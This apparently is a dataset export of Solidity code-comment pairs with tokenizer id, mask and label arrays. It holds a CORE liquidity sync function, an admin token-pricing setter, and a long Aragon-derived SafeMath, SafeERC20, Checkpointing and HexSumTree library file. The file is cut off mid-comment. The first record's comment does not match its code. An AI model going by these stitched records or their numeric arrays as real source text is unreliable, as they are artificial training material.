This will update the state of lastIsMint, when called publically So we have to sync it before to the last LP token value. Do not block after small liq additions you can only withdraw 350$ now with front running And cant front run buys with liq add ( adversary drain )lastIsMint = _balanceCORE > lastSupplyOfCoreInPair && _balanceWETH > lastSupplyOfWETHInPair.add(minFinney.mul(1 finney));
function sync() public returns (bool lastIsMint, bool lpTokenBurn) { uint256 _LPSupplyOfPairTotal = IERC20(tokenUniswapPair).totalSupply(); lpTokenBurn = lastTotalSupplyOfLPTokens > _LPSupplyOfPairTotal; lastTotalSupplyOfLPTokens = _LPSupplyOfPairTotal; uint256 _balanceWETH = IERC20(WETHAddress).balanceOf(tokenUniswapPair); uint256 _balanceCORE = IERC20(coreTokenAddress).balanceOf(tokenUniswapPair); lastIsMint = _balanceCORE > lastSupplyOfCoreInPair && _balanceWETH > lastSupplyOfWETHInPair; lastSupplyOfCoreInPair = _balanceCORE; lastSupplyOfWETHInPair = _balanceWETH; }
7,749,477
[ 1, 2503, 903, 1089, 326, 919, 434, 1142, 2520, 49, 474, 16, 1347, 2566, 1071, 1230, 6155, 732, 1240, 358, 3792, 518, 1865, 358, 326, 1142, 511, 52, 1147, 460, 18, 2256, 486, 1203, 1839, 5264, 4501, 85, 26260, 1846, 848, 1338, 598, 9446, 890, 3361, 8, 2037, 598, 6641, 3549, 7835, 848, 88, 6641, 1086, 25666, 1900, 598, 4501, 85, 527, 261, 1261, 2496, 814, 15427, 262, 2722, 2520, 49, 474, 273, 389, 12296, 15715, 405, 1142, 3088, 1283, 951, 4670, 382, 4154, 597, 389, 12296, 59, 1584, 44, 405, 1142, 3088, 1283, 951, 59, 1584, 44, 382, 4154, 18, 1289, 12, 1154, 6187, 82, 402, 18, 16411, 12, 21, 574, 82, 402, 10019, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 3792, 1435, 1071, 1135, 261, 6430, 1142, 2520, 49, 474, 16, 1426, 12423, 1345, 38, 321, 13, 288, 203, 203, 3639, 2254, 5034, 389, 14461, 3088, 1283, 951, 4154, 5269, 273, 467, 654, 39, 3462, 12, 2316, 984, 291, 91, 438, 4154, 2934, 4963, 3088, 1283, 5621, 203, 3639, 12423, 1345, 38, 321, 273, 1142, 5269, 3088, 1283, 951, 48, 1856, 3573, 405, 389, 14461, 3088, 1283, 951, 4154, 5269, 31, 203, 3639, 1142, 5269, 3088, 1283, 951, 48, 1856, 3573, 273, 389, 14461, 3088, 1283, 951, 4154, 5269, 31, 203, 203, 3639, 2254, 5034, 389, 12296, 59, 1584, 44, 273, 467, 654, 39, 3462, 12, 59, 1584, 44, 1887, 2934, 12296, 951, 12, 2316, 984, 291, 91, 438, 4154, 1769, 203, 3639, 2254, 5034, 389, 12296, 15715, 273, 467, 654, 39, 3462, 12, 3644, 1345, 1887, 2934, 12296, 951, 12, 2316, 984, 291, 91, 438, 4154, 1769, 203, 203, 203, 3639, 1142, 2520, 49, 474, 273, 389, 12296, 15715, 405, 1142, 3088, 1283, 951, 4670, 382, 4154, 597, 389, 12296, 59, 1584, 44, 405, 1142, 3088, 1283, 951, 59, 1584, 44, 382, 4154, 31, 203, 203, 3639, 1142, 3088, 1283, 951, 4670, 382, 4154, 273, 389, 12296, 15715, 31, 203, 3639, 1142, 3088, 1283, 951, 59, 1584, 44, 382, 4154, 273, 389, 12296, 59, 1584, 44, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/100/0x2327dB49Af92d468F00127AA9037334CFed3CB38/sources/contracts/TokenSale.sol
@dev allows admin to specify a multiplier and/or divisor for calculating price of our custom token in correspondence to amount of ETH/DAI passed in to the Buy operation.@param _tokensPerEthMultiplier is the multiplier. 20 would mean 1:20. 1 ETH/DAI would allow them to purchase 20 tokens.@param _tokensPerEthDivisor is the divisor. Typically we would send a 1 in here unless the cost of our token ends up being priced higher than the price of an ETH/DAI.
function setTokenMath(uint256 _tokensPerEthMultiplier, uint256 _tokensPerEthDivisor) external onlyAdmin payable { require(_tokensPerEthMultiplier > 0 && _tokensPerEthDivisor > 0, "WhitelistedTokenSale: rates must be > 0"); tokensPerEthMultiplier = _tokensPerEthMultiplier; tokensPerEthDivisor = _tokensPerEthDivisor; }
14,291,220
[ 1, 5965, 87, 3981, 358, 4800, 279, 15027, 471, 19, 280, 15013, 364, 21046, 6205, 434, 3134, 1679, 1147, 316, 4325, 802, 358, 3844, 434, 512, 2455, 19, 9793, 45, 2275, 316, 377, 358, 326, 605, 9835, 1674, 18, 389, 7860, 2173, 41, 451, 23365, 353, 326, 15027, 18, 4200, 4102, 3722, 404, 30, 3462, 18, 404, 512, 2455, 19, 9793, 45, 4102, 1699, 2182, 358, 23701, 4200, 2430, 18, 389, 7860, 2173, 41, 451, 7244, 12385, 353, 326, 15013, 18, 30195, 732, 4102, 1366, 279, 404, 316, 2674, 3308, 326, 6991, 434, 3134, 1147, 3930, 731, 3832, 6205, 72, 10478, 2353, 326, 6205, 434, 392, 512, 2455, 19, 9793, 45, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 22629, 10477, 12, 11890, 5034, 389, 7860, 2173, 41, 451, 23365, 16, 2254, 5034, 389, 7860, 2173, 41, 451, 7244, 12385, 13, 3903, 1338, 4446, 8843, 429, 288, 203, 3639, 2583, 24899, 7860, 2173, 41, 451, 23365, 405, 374, 597, 389, 7860, 2173, 41, 451, 7244, 12385, 405, 374, 16, 315, 18927, 329, 1345, 30746, 30, 17544, 1297, 506, 405, 374, 8863, 203, 540, 203, 3639, 2430, 2173, 41, 451, 23365, 273, 389, 7860, 2173, 41, 451, 23365, 31, 203, 3639, 2430, 2173, 41, 451, 7244, 12385, 273, 389, 7860, 2173, 41, 451, 7244, 12385, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.17; // Brought from https://github.com/aragon/aragonOS/blob/v4.3.0/contracts/lib/math/SafeMath.sol // Adapted to use pragma ^0.5.17 and satisfy our linter rules /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { string private constant ERROR_ADD_OVERFLOW = "MATH_ADD_OVERFLOW"; string private constant ERROR_SUB_UNDERFLOW = "MATH_SUB_UNDERFLOW"; string private constant ERROR_MUL_OVERFLOW = "MATH_MUL_OVERFLOW"; string private constant ERROR_DIV_ZERO = "MATH_DIV_ZERO"; /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b, ERROR_MUL_OVERFLOW); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0, ERROR_DIV_ZERO); // Solidity only automatically asserts when dividing by 0 uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a, ERROR_SUB_UNDERFLOW); uint256 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a, ERROR_ADD_OVERFLOW); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, ERROR_DIV_ZERO); return a % b; } } /* * SPDX-License-Identifier: MIT */ /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address _who) external view returns (uint256); function allowance(address _owner, address _spender) external view returns (uint256); function transfer(address _to, uint256 _value) external returns (bool); function approve(address _spender, uint256 _value) external returns (bool); function transferFrom(address _from, address _to, uint256 _value) external returns (bool); } // Brought from https://github.com/aragon/aragonOS/blob/v4.3.0/contracts/common/SafeERC20.sol // Adapted to use pragma ^0.5.17 and satisfy our linter rules library SafeERC20 { /** * @dev Same as a standards-compliant ERC20.transfer() that never reverts (returns false). * Note that this makes an external call to the provided token and expects it to be already * verified as a contract. */ function safeTransfer(IERC20 _token, address _to, uint256 _amount) internal returns (bool) { bytes memory transferCallData = abi.encodeWithSelector( _token.transfer.selector, _to, _amount ); return invokeAndCheckSuccess(address(_token), transferCallData); } /** * @dev Same as a standards-compliant ERC20.transferFrom() that never reverts (returns false). * Note that this makes an external call to the provided token and expects it to be already * verified as a contract. */ function safeTransferFrom(IERC20 _token, address _from, address _to, uint256 _amount) internal returns (bool) { bytes memory transferFromCallData = abi.encodeWithSelector( _token.transferFrom.selector, _from, _to, _amount ); return invokeAndCheckSuccess(address(_token), transferFromCallData); } /** * @dev Same as a standards-compliant ERC20.approve() that never reverts (returns false). * Note that this makes an external call to the provided token and expects it to be already * verified as a contract. */ function safeApprove(IERC20 _token, address _spender, uint256 _amount) internal returns (bool) { bytes memory approveCallData = abi.encodeWithSelector( _token.approve.selector, _spender, _amount ); return invokeAndCheckSuccess(address(_token), approveCallData); } function invokeAndCheckSuccess(address _addr, bytes memory _calldata) private returns (bool) { bool ret; assembly { let ptr := mload(0x40) // free memory pointer let success := call( gas, // forward all gas _addr, // address 0, // no value add(_calldata, 0x20), // calldata start mload(_calldata), // calldata length ptr, // write output over free memory 0x20 // uint256 return ) if gt(success, 0) { // Check number of bytes returned from last function call switch returndatasize // No bytes returned: assume success case 0 { ret := 1 } // 32 bytes returned: check if non-zero case 0x20 { // Only return success if returned data was true // Already have output in ptr ret := eq(mload(ptr), 1) } // Not sure what was returned: don't mark as success default { } } } return ret; } } library PctHelpers { using SafeMath for uint256; uint256 internal constant PCT_BASE = 10000; // ‱ (1 / 10,000) function isValid(uint16 _pct) internal pure returns (bool) { return _pct <= PCT_BASE; } function pct(uint256 self, uint16 _pct) internal pure returns (uint256) { return self.mul(uint256(_pct)) / PCT_BASE; } function pct256(uint256 self, uint256 _pct) internal pure returns (uint256) { return self.mul(_pct) / PCT_BASE; } function pctIncrease(uint256 self, uint16 _pct) internal pure returns (uint256) { // No need for SafeMath: for addition note that `PCT_BASE` is lower than (2^256 - 2^16) return self.mul(PCT_BASE + uint256(_pct)) / PCT_BASE; } } /** * @title Checkpointing - Library to handle a historic set of numeric values */ library Checkpointing { uint256 private constant MAX_UINT192 = uint256(uint192(-1)); string private constant ERROR_VALUE_TOO_BIG = "CHECKPOINT_VALUE_TOO_BIG"; string private constant ERROR_CANNOT_ADD_PAST_VALUE = "CHECKPOINT_CANNOT_ADD_PAST_VALUE"; /** * @dev To specify a value at a given point in time, we need to store two values: * - `time`: unit-time value to denote the first time when a value was registered * - `value`: a positive numeric value to registered at a given point in time * * Note that `time` does not need to refer necessarily to a timestamp value, any time unit could be used * for it like block numbers, terms, etc. */ struct Checkpoint { uint64 time; uint192 value; } /** * @dev A history simply denotes a list of checkpoints */ struct History { Checkpoint[] history; } /** * @dev Add a new value to a history for a given point in time. This function does not allow to add values previous * to the latest registered value, if the value willing to add corresponds to the latest registered value, it * will be updated. * @param self Checkpoints history to be altered * @param _time Point in time to register the given value * @param _value Numeric value to be registered at the given point in time */ function add(History storage self, uint64 _time, uint256 _value) internal { require(_value <= MAX_UINT192, ERROR_VALUE_TOO_BIG); _add192(self, _time, uint192(_value)); } /** * @dev Fetch the latest registered value of history, it will return zero if there was no value registered * @param self Checkpoints history to be queried */ function getLast(History storage self) internal view returns (uint256) { uint256 length = self.history.length; if (length > 0) { return uint256(self.history[length - 1].value); } return 0; } /** * @dev Fetch the most recent registered past value of a history based on a given point in time that is not known * how recent it is beforehand. It will return zero if there is no registered value or if given time is * previous to the first registered value. * It uses a binary search. * @param self Checkpoints history to be queried * @param _time Point in time to query the most recent registered past value of */ function get(History storage self, uint64 _time) internal view returns (uint256) { return _binarySearch(self, _time); } /** * @dev Fetch the most recent registered past value of a history based on a given point in time. It will return zero * if there is no registered value or if given time is previous to the first registered value. * It uses a linear search starting from the end. * @param self Checkpoints history to be queried * @param _time Point in time to query the most recent registered past value of */ function getRecent(History storage self, uint64 _time) internal view returns (uint256) { return _backwardsLinearSearch(self, _time); } /** * @dev Private function to add a new value to a history for a given point in time. This function does not allow to * add values previous to the latest registered value, if the value willing to add corresponds to the latest * registered value, it will be updated. * @param self Checkpoints history to be altered * @param _time Point in time to register the given value * @param _value Numeric value to be registered at the given point in time */ function _add192(History storage self, uint64 _time, uint192 _value) private { uint256 length = self.history.length; if (length == 0 || self.history[self.history.length - 1].time < _time) { // If there was no value registered or the given point in time is after the latest registered value, // we can insert it to the history directly. self.history.push(Checkpoint(_time, _value)); } else { // If the point in time given for the new value is not after the latest registered value, we must ensure // we are only trying to update the latest value, otherwise we would be changing past data. Checkpoint storage currentCheckpoint = self.history[length - 1]; require(_time == currentCheckpoint.time, ERROR_CANNOT_ADD_PAST_VALUE); currentCheckpoint.value = _value; } } /** * @dev Private function to execute a backwards linear search to find the most recent registered past value of a * history based on a given point in time. It will return zero if there is no registered value or if given time * is previous to the first registered value. Note that this function will be more suitable when we already know * that the time used to index the search is recent in the given history. * @param self Checkpoints history to be queried * @param _time Point in time to query the most recent registered past value of */ function _backwardsLinearSearch(History storage self, uint64 _time) private view returns (uint256) { // If there was no value registered for the given history return simply zero uint256 length = self.history.length; if (length == 0) { return 0; } uint256 index = length - 1; Checkpoint storage checkpoint = self.history[index]; while (index > 0 && checkpoint.time > _time) { index--; checkpoint = self.history[index]; } return checkpoint.time > _time ? 0 : uint256(checkpoint.value); } /** * @dev Private function execute a binary search to find the most recent registered past value of a history based on * a given point in time. It will return zero if there is no registered value or if given time is previous to * the first registered value. Note that this function will be more suitable when don't know how recent the * time used to index may be. * @param self Checkpoints history to be queried * @param _time Point in time to query the most recent registered past value of */ function _binarySearch(History storage self, uint64 _time) private view returns (uint256) { // If there was no value registered for the given history return simply zero uint256 length = self.history.length; if (length == 0) { return 0; } // If the requested time is equal to or after the time of the latest registered value, return latest value uint256 lastIndex = length - 1; if (_time >= self.history[lastIndex].time) { return uint256(self.history[lastIndex].value); } // If the requested time is previous to the first registered value, return zero to denote missing checkpoint if (_time < self.history[0].time) { return 0; } // Execute a binary search between the checkpointed times of the history uint256 low = 0; uint256 high = lastIndex; while (high > low) { // No need for SafeMath: for this to overflow array size should be ~2^255 uint256 mid = (high + low + 1) / 2; Checkpoint storage checkpoint = self.history[mid]; uint64 midTime = checkpoint.time; if (_time > midTime) { low = mid; } else if (_time < midTime) { // No need for SafeMath: high > low >= 0 => high >= 1 => mid >= 1 high = mid - 1; } else { return uint256(checkpoint.value); } } return uint256(self.history[low].value); } } /** * @title HexSumTree - Library to operate checkpointed 16-ary (hex) sum trees. * @dev A sum tree is a particular case of a tree where the value of a node is equal to the sum of the values of its * children. This library provides a set of functions to operate 16-ary sum trees, i.e. trees where every non-leaf * node has 16 children and its value is equivalent to the sum of the values of all of them. Additionally, a * checkpointed tree means that each time a value on a node is updated, its previous value will be saved to allow * accessing historic information. * * Example of a checkpointed binary sum tree: * * CURRENT PREVIOUS * * Level 2 100 ---------------------------------------- 70 * ______|_______ ______|_______ * / \ / \ * Level 1 34 66 ------------------------- 23 47 * _____|_____ _____|_____ _____|_____ _____|_____ * / \ / \ / \ / \ * Level 0 22 12 53 13 ----------- 22 1 17 30 * */ library HexSumTree { using SafeMath for uint256; using Checkpointing for Checkpointing.History; string private constant ERROR_UPDATE_OVERFLOW = "SUM_TREE_UPDATE_OVERFLOW"; string private constant ERROR_KEY_DOES_NOT_EXIST = "SUM_TREE_KEY_DOES_NOT_EXIST"; string private constant ERROR_SEARCH_OUT_OF_BOUNDS = "SUM_TREE_SEARCH_OUT_OF_BOUNDS"; string private constant ERROR_MISSING_SEARCH_VALUES = "SUM_TREE_MISSING_SEARCH_VALUES"; // Constants used to perform tree computations // To change any the following constants, the following relationship must be kept: 2^BITS_IN_NIBBLE = CHILDREN // The max depth of the tree will be given by: BITS_IN_NIBBLE * MAX_DEPTH = 256 (so in this case it's 64) uint256 private constant CHILDREN = 16; uint256 private constant BITS_IN_NIBBLE = 4; // All items are leaves, inserted at height or level zero. The root height will be increasing as new levels are inserted in the tree. uint256 private constant ITEMS_LEVEL = 0; // Tree nodes are identified with a 32-bytes length key. Leaves are identified with consecutive incremental keys // starting with 0x0000000000000000000000000000000000000000000000000000000000000000, while non-leaf nodes' keys // are computed based on their level and their children keys. uint256 private constant BASE_KEY = 0; // Timestamp used to checkpoint the first value of the tree height during initialization uint64 private constant INITIALIZATION_INITIAL_TIME = uint64(0); /** * @dev The tree is stored using the following structure: * - nodes: A mapping indexed by a pair (level, key) with a history of the values for each node (level -> key -> value). * - height: A history of the heights of the tree. Minimum height is 1, a root with 16 children. * - nextKey: The next key to be used to identify the next new value that will be inserted into the tree. */ struct Tree { uint256 nextKey; Checkpointing.History height; mapping (uint256 => mapping (uint256 => Checkpointing.History)) nodes; } /** * @dev Search params to traverse the tree caching previous results: * - time: Point in time to query the values being searched, this value shouldn't change during a search * - level: Level being analyzed for the search, it starts at the level under the root and decrements till the leaves * - parentKey: Key of the parent of the nodes being analyzed at the given level for the search * - foundValues: Number of values in the list being searched that were already found, it will go from 0 until the size of the list * - visitedTotal: Total sum of values that were already visited during the search, it will go from 0 until the tree total */ struct SearchParams { uint64 time; uint256 level; uint256 parentKey; uint256 foundValues; uint256 visitedTotal; } /** * @dev Initialize tree setting the next key and first height checkpoint */ function init(Tree storage self) internal { self.height.add(INITIALIZATION_INITIAL_TIME, ITEMS_LEVEL + 1); self.nextKey = BASE_KEY; } /** * @dev Insert a new item to the tree at given point in time * @param _time Point in time to register the given value * @param _value New numeric value to be added to the tree * @return Unique key identifying the new value inserted */ function insert(Tree storage self, uint64 _time, uint256 _value) internal returns (uint256) { // As the values are always stored in the leaves of the tree (level 0), the key to index each of them will be // always incrementing, starting from zero. Add a new level if necessary. uint256 key = self.nextKey++; _addLevelIfNecessary(self, key, _time); // If the new value is not zero, first set the value of the new leaf node, then add a new level at the top of // the tree if necessary, and finally update sums cached in all the non-leaf nodes. if (_value > 0) { _add(self, ITEMS_LEVEL, key, _time, _value); _updateSums(self, key, _time, _value, true); } return key; } /** * @dev Set the value of a leaf node indexed by its key at given point in time * @param _time Point in time to set the given value * @param _key Key of the leaf node to be set in the tree * @param _value New numeric value to be set for the given key */ function set(Tree storage self, uint256 _key, uint64 _time, uint256 _value) internal { require(_key < self.nextKey, ERROR_KEY_DOES_NOT_EXIST); // Set the new value for the requested leaf node uint256 lastValue = getItem(self, _key); _add(self, ITEMS_LEVEL, _key, _time, _value); // Update sums cached in the non-leaf nodes. Note that overflows are being checked at the end of the whole update. if (_value > lastValue) { _updateSums(self, _key, _time, _value - lastValue, true); } else if (_value < lastValue) { _updateSums(self, _key, _time, lastValue - _value, false); } } /** * @dev Update the value of a non-leaf node indexed by its key at given point in time based on a delta * @param _key Key of the leaf node to be updated in the tree * @param _time Point in time to update the given value * @param _delta Numeric delta to update the value of the given key * @param _positive Boolean to tell whether the given delta should be added to or subtracted from the current value */ function update(Tree storage self, uint256 _key, uint64 _time, uint256 _delta, bool _positive) internal { require(_key < self.nextKey, ERROR_KEY_DOES_NOT_EXIST); // Update the value of the requested leaf node based on the given delta uint256 lastValue = getItem(self, _key); uint256 newValue = _positive ? lastValue.add(_delta) : lastValue.sub(_delta); _add(self, ITEMS_LEVEL, _key, _time, newValue); // Update sums cached in the non-leaf nodes. Note that overflows is being checked at the end of the whole update. _updateSums(self, _key, _time, _delta, _positive); } /** * @dev Search a list of values in the tree at a given point in time. It will return a list with the nearest * high value in case a value cannot be found. This function assumes the given list of given values to be * searched is in ascending order. In case of searching a value out of bounds, it will return zeroed results. * @param _values Ordered list of values to be searched in the tree * @param _time Point in time to query the values being searched * @return keys List of keys found for each requested value in the same order * @return values List of node values found for each requested value in the same order */ function search(Tree storage self, uint256[] memory _values, uint64 _time) internal view returns (uint256[] memory keys, uint256[] memory values) { require(_values.length > 0, ERROR_MISSING_SEARCH_VALUES); // Throw out-of-bounds error if there are no items in the tree or the highest value being searched is greater than the total uint256 total = getRecentTotalAt(self, _time); // No need for SafeMath: positive length of array already checked require(total > 0 && total > _values[_values.length - 1], ERROR_SEARCH_OUT_OF_BOUNDS); // Build search params for the first iteration uint256 rootLevel = getRecentHeightAt(self, _time); SearchParams memory searchParams = SearchParams(_time, rootLevel.sub(1), BASE_KEY, 0, 0); // These arrays will be used to fill in the results. We are passing them as parameters to avoid extra copies uint256 length = _values.length; keys = new uint256[](length); values = new uint256[](length); _search(self, _values, searchParams, keys, values); } /** * @dev Tell the sum of the all the items (leaves) stored in the tree, i.e. value of the root of the tree */ function getTotal(Tree storage self) internal view returns (uint256) { uint256 rootLevel = getHeight(self); return getNode(self, rootLevel, BASE_KEY); } /** * @dev Tell the sum of the all the items (leaves) stored in the tree, i.e. value of the root of the tree, at a given point in time * It uses a binary search for the root node, a linear one for the height. * @param _time Point in time to query the sum of all the items (leaves) stored in the tree */ function getTotalAt(Tree storage self, uint64 _time) internal view returns (uint256) { uint256 rootLevel = getRecentHeightAt(self, _time); return getNodeAt(self, rootLevel, BASE_KEY, _time); } /** * @dev Tell the sum of the all the items (leaves) stored in the tree, i.e. value of the root of the tree, at a given point in time * It uses a linear search starting from the end. * @param _time Point in time to query the sum of all the items (leaves) stored in the tree */ function getRecentTotalAt(Tree storage self, uint64 _time) internal view returns (uint256) { uint256 rootLevel = getRecentHeightAt(self, _time); return getRecentNodeAt(self, rootLevel, BASE_KEY, _time); } /** * @dev Tell the value of a certain leaf indexed by a given key * @param _key Key of the leaf node querying the value of */ function getItem(Tree storage self, uint256 _key) internal view returns (uint256) { return getNode(self, ITEMS_LEVEL, _key); } /** * @dev Tell the value of a certain leaf indexed by a given key at a given point in time * It uses a binary search. * @param _key Key of the leaf node querying the value of * @param _time Point in time to query the value of the requested leaf */ function getItemAt(Tree storage self, uint256 _key, uint64 _time) internal view returns (uint256) { return getNodeAt(self, ITEMS_LEVEL, _key, _time); } /** * @dev Tell the value of a certain node indexed by a given (level,key) pair * @param _level Level of the node querying the value of * @param _key Key of the node querying the value of */ function getNode(Tree storage self, uint256 _level, uint256 _key) internal view returns (uint256) { return self.nodes[_level][_key].getLast(); } /** * @dev Tell the value of a certain node indexed by a given (level,key) pair at a given point in time * It uses a binary search. * @param _level Level of the node querying the value of * @param _key Key of the node querying the value of * @param _time Point in time to query the value of the requested node */ function getNodeAt(Tree storage self, uint256 _level, uint256 _key, uint64 _time) internal view returns (uint256) { return self.nodes[_level][_key].get(_time); } /** * @dev Tell the value of a certain node indexed by a given (level,key) pair at a given point in time * It uses a linear search starting from the end. * @param _level Level of the node querying the value of * @param _key Key of the node querying the value of * @param _time Point in time to query the value of the requested node */ function getRecentNodeAt(Tree storage self, uint256 _level, uint256 _key, uint64 _time) internal view returns (uint256) { return self.nodes[_level][_key].getRecent(_time); } /** * @dev Tell the height of the tree */ function getHeight(Tree storage self) internal view returns (uint256) { return self.height.getLast(); } /** * @dev Tell the height of the tree at a given point in time * It uses a linear search starting from the end. * @param _time Point in time to query the height of the tree */ function getRecentHeightAt(Tree storage self, uint64 _time) internal view returns (uint256) { return self.height.getRecent(_time); } /** * @dev Private function to update the values of all the ancestors of the given leaf node based on the delta updated * @param _key Key of the leaf node to update the ancestors of * @param _time Point in time to update the ancestors' values of the given leaf node * @param _delta Numeric delta to update the ancestors' values of the given leaf node * @param _positive Boolean to tell whether the given delta should be added to or subtracted from ancestors' values */ function _updateSums(Tree storage self, uint256 _key, uint64 _time, uint256 _delta, bool _positive) private { uint256 mask = uint256(-1); uint256 ancestorKey = _key; uint256 currentHeight = getHeight(self); for (uint256 level = ITEMS_LEVEL + 1; level <= currentHeight; level++) { // Build a mask to get the key of the ancestor at a certain level. For example: // Level 0: leaves don't have children // Level 1: 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0 (up to 16 leaves) // Level 2: 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00 (up to 32 leaves) // ... // Level 63: 0x0000000000000000000000000000000000000000000000000000000000000000 (up to 16^64 leaves - tree max height) mask = mask << BITS_IN_NIBBLE; // The key of the ancestor at that level "i" is equivalent to the "(64 - i)-th" most significant nibbles // of the ancestor's key of the previous level "i - 1". Thus, we can compute the key of an ancestor at a // certain level applying the mask to the ancestor's key of the previous level. Note that for the first // iteration, the key of the ancestor of the previous level is simply the key of the leaf being updated. ancestorKey = ancestorKey & mask; // Update value uint256 lastValue = getNode(self, level, ancestorKey); uint256 newValue = _positive ? lastValue.add(_delta) : lastValue.sub(_delta); _add(self, level, ancestorKey, _time, newValue); } // Check if there was an overflow. Note that we only need to check the value stored in the root since the // sum only increases going up through the tree. require(!_positive || getNode(self, currentHeight, ancestorKey) >= _delta, ERROR_UPDATE_OVERFLOW); } /** * @dev Private function to add a new level to the tree based on a new key that will be inserted * @param _newKey New key willing to be inserted in the tree * @param _time Point in time when the new key will be inserted */ function _addLevelIfNecessary(Tree storage self, uint256 _newKey, uint64 _time) private { uint256 currentHeight = getHeight(self); if (_shouldAddLevel(currentHeight, _newKey)) { // Max height allowed for the tree is 64 since we are using node keys of 32 bytes. However, note that we // are not checking if said limit has been hit when inserting new leaves to the tree, for the purpose of // this system having 2^256 items inserted is unrealistic. uint256 newHeight = currentHeight + 1; uint256 rootValue = getNode(self, currentHeight, BASE_KEY); _add(self, newHeight, BASE_KEY, _time, rootValue); self.height.add(_time, newHeight); } } /** * @dev Private function to register a new value in the history of a node at a given point in time * @param _level Level of the node to add a new value at a given point in time to * @param _key Key of the node to add a new value at a given point in time to * @param _time Point in time to register a value for the given node * @param _value Numeric value to be registered for the given node at a given point in time */ function _add(Tree storage self, uint256 _level, uint256 _key, uint64 _time, uint256 _value) private { self.nodes[_level][_key].add(_time, _value); } /** * @dev Recursive pre-order traversal function * Every time it checks a node, it traverses the input array to find the initial subset of elements that are * below its accumulated value and passes that sub-array to the next iteration. Actually, the array is always * the same, to avoid making extra copies, it just passes the number of values already found , to avoid * checking values that went through a different branch. The same happens with the result lists of keys and * values, these are the same on every recursion step. The visited total is carried over each iteration to * avoid having to subtract all elements in the array. * @param _values Ordered list of values to be searched in the tree * @param _params Search parameters for the current recursive step * @param _resultKeys List of keys found for each requested 